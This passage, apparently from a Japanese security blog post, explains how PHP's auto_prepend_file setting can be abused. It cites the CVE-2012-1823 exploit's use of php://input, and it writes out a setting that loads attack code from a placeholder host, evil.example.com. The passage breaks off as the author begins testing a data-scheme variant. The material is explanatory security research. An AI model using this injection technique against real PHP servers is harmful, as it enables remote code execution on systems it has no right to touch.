PHPの設定ファイル php.ini には、auto_prepend_fileという項目があって、スクリプトが起動される前に実行するスクリプトを指定することができる。通常は php.ini などに auto_prepend_file=/path/to/start.php などと記述する。 これが悪用される場合がある。PHPの脆弱性CVE-2012-1823の悪用コードでは、auto_prepend_file=php://input として、攻撃コードをリクエストボディにいれるという手法が取られたが、理論的には外部サイトに攻撃コードをおいて、auto_prepend_file=http://evil.example.com/snipet.txt などとしてもよい。そして、理論的にはdataスキームを使っても攻撃できるはずだと思った。で、試してみた。 $ php -d allow_url_in